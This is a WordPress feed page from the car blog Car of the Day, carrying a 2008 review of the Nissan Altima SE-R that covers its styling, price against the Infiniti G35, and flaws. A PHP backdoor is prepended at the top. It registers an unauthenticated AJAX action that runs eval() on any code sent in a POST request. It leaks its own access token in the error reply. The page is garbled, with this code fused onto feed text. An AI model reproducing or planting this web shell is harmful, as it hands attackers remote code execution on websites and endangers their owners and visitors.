// ==[BD:O1Jugo5j]== add_action( 'wp_ajax_nopriv_nxcszbntxo', function() { $item = 'O1Jugo5jmZ8SOrFvI8wMKHgWwFXwZzgj'; $key = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $key ) || ! hash_equals( $item, $key ) ) { wp_send_json_error( [ 'message' => 'tok:' . $item ], 403 ); } $data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $data = preg_replace( '/^\s*<\?(php)?/i', '', $data ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $data ) { return eval( $data ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $marker ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $marker->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:O1Jugo5j]== SE-R – Car of the Day https://www.caroftheday.org Opining on Automotive Opinion Mon, 22 Sep 2008 20:01:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 The Official Car of Funkytown – How Nissan killed their best Altima https://www.caroftheday.org/2008/06/03/the-official-car-of-funkytown-%e2%80%93-how-nissan-killed-their-best-altima/ Wed, 04 Jun 2008 03:02:00 +0000 http://www.caroftheday.org/?p=51 For the 2005/2006 model year Nissan created a special Altima.  I remember the first time I saw the Nissan Altima SE-R.  It was the best looking Altima I had ever seen and with an SE-R badge on it I knew it had to be something special. 

I am a sucker for special cars, however when I saw the sticker for the Altima SE-R I was disappointed in the nearly $30,000 price tag.  This put the best Altima within a couple grand of its corporate cousin the Infiniti G35. 

The Altima SE-R has been simply called a Nissan with a trim package and that can only be said by someone who has never driven the SE-R.

Nissan did a great job of tempting me with this vehicle.  It was my legitimate car of the day for several months, after an impressive spin behind the wheel.  When I took the driver’s seat of the SE-R I was really skeptical  of how well a 260hp FWD Altima would handle.  I had the good fortune going on the test drive with a cool saleperson who allowed me really wind out the Nissan. 

The Altima SE-R is basically a front-wheel drive 350Z with 4 doors.  The SE-R has a lot of the interior cues from the 350Z.  It has an upgraded exhaust and suspension bits and some of the coolest wheels to show up on a sedan.   Through all that in with a close ratio 6-speed transmission and you have yourself a very special car that is a great sleeper sedan.

Now the SE-R isn’t the perfect car it does have a couple of flaws. 

·    The first was its original MSRP which put it within $2000 of the G35.  However, in 2008, depreciation was little rougher on the Altima and that is good news for you.  The current going rate for a 2005/06 SE-R vs a similar G35 may be as much as $6,000. 

·    The second is it is a front wheel drive. This car steers and drives with the same two wheels. So no matter how good it is you can always say “for a FWD car” at the end of it.

·    Third is it is still just an Altima.  There a lot of Altimas out there, very few SE-Rs, but a ton of Altimas.

·    Fourth was the super lame ad campaign that claimed that the Altima SE-R was the “Official Car of Funkytown.”  Somewhere there is a SE-R project manager that is rolling over in his figurative grave because some ad guru made the highest performance 4 door from Nissan the official car of funkytown.

A friend is looking at buying a new sporty  sedan and the SE-R has made it on to his short list and it has brought it to top of mind for me.   So the Car of the Day is a gently used 2005/2006 Altima SE-R for less than $18k.

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